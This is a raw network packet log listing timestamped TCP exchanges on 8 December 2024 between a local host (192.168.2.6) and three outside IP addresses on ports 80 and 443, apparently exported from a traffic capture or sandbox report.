Dec 8, 2024 17:45:48.995167017 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.995244980 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.995248079 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.995448112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.995537996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.995567083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.995729923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.996464968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.996498108 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.996505022 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.996532917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.996592045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.996638060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.997463942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.997525930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.997539043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.997631073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.998514891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.998613119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.998636961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.998672962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.999551058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.999625921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.999691963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.000518084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.000583887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.000610113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.000710964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.001518011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.001637936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.001643896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.001698971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.002437115 CET	49843	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.002470016 CET	443	49843	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.002528906 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.002599001 CET	49843	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.002707958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.002717018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.002778053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.003074884 CET	49844	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.003097057 CET	443	49844	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.003362894 CET	49844	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.003532887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.003571033 CET	49845	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.003571987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.003588915 CET	443	49845	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.003604889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.003654957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.003654957 CET	49845	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.004540920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.004623890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.004699945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.004740000 CET	49846	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.004746914 CET	443	49846	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.004776955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.004806042 CET	49846	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.005606890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.005682945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.005731106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.005840063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.006402969 CET	49847	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.006413937 CET	443	49847	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.006531000 CET	49847	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.006572962 CET	49843	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.006592989 CET	443	49843	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.006607056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.006659985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.006704092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.006761074 CET	49847	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.006761074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.006772041 CET	443	49847	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.006820917 CET	49844	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.006833076 CET	443	49844	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.007123947 CET	49845	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.007136106 CET	443	49845	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.007211924 CET	49846	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:49.007221937 CET	443	49846	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:49.007637978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.007704973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.007778883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.007872105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.008620977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.008740902 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.008846045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.009635925 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.009710073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.009744883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.009851933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.010716915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.010787010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.010790110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.010896921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.011667013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.011746883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.011765957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.011787891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.012648106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.012742996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.012797117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.012973070 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.013689041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.013753891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.013784885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.013885975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.014710903 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.014776945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.014848948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.014884949 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.015820980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.015894890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.015908957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.016024113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.016848087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.016885996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.016920090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.016942024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.017858028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.017978907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.018059969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.018826008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.018865108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.018946886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.018946886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.019808054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.019890070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.019965887 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.105555058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.105592012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.105782032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.105842113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.105864048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.105911016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.106817007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.106910944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.107358932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.107830048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.107928038 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.107997894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.108592033 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.108637094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.108676910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.109709024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.109826088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.109874010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.110574007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.110697031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.110749006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.111596107 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.111814976 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.112662077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.112685919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.112746000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.112746000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.113656998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.113801003 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.113861084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.114630938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.114753008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.114851952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.115643024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.115722895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.115781069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.116569996 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.116677046 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.116755009 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.116807938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.116874933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.116874933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.117683887 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.117805004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.117866039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.118768930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.118868113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.118962049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.119730949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.119770050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.120757103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.120853901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.120857000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.121335983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.121774912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.121846914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.121850014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.122802019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.122853041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.122967958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.123358011 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.123784065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.123825073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.123884916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.124898911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.124941111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.125010967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.165263891 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.165270090 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.180079937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.180109024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.180277109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.180324078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.180411100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.180454969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.181107044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.181209087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.181241989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.182010889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.182091951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.182096004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.182934999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.182996035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.183007002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.183377028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.183947086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.184031010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.184098959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.184426069 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.184859991 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.184887886 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.184941053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.185025930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.185077906 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.185080051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.186022997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.186116934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.186194897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.187024117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.187077045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.187160015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.187987089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.188128948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.189002991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.189059973 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.189114094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.189244986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.190088034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.190145969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.190193892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.190231085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.190907955 CET	49841	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.190912962 CET	443	49841	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.191010952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.191148043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.191206932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.192014933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.192131042 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.192218065 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.193072081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.193146944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.193216085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.193248987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.194113970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.194155931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.194191933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.195102930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.195202112 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.195224047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.195288897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.196125984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.196192026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.196245909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.196423054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.197137117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.197211027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.197241068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.197346926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.198143959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.198223114 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.198252916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.198297024 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.199151039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.199223995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.199276924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.199336052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.200186014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.200261116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.200273037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.200366020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.201169014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.201253891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.201275110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.201334953 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.202176094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.202250004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.202289104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.202334881 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.203202963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.203257084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.203329086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.203377962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.204224110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.204276085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.204345942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.204396963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.205230951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.205317974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.205352068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.205389977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.206239939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.206289053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.206429958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.206502914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.207285881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.207345009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.207377911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.207513094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.208271980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.208345890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.208379030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.208430052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.209310055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.209362030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.209367037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.209450960 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.209459066 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.209517002 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.209525108 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.209546089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.209568024 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.210295916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.210422993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.210480928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.211368084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.211460114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.212338924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.212398052 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.234612942 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:49.234739065 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:49.297964096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.298049927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.298346996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.298491001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.298491955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.299319029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.299386978 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.299468040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.300607920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.300674915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.300710917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.301362991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:49.301425934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:49.301466942 CET	80	49805	185.215.113.206	192.168.2.6
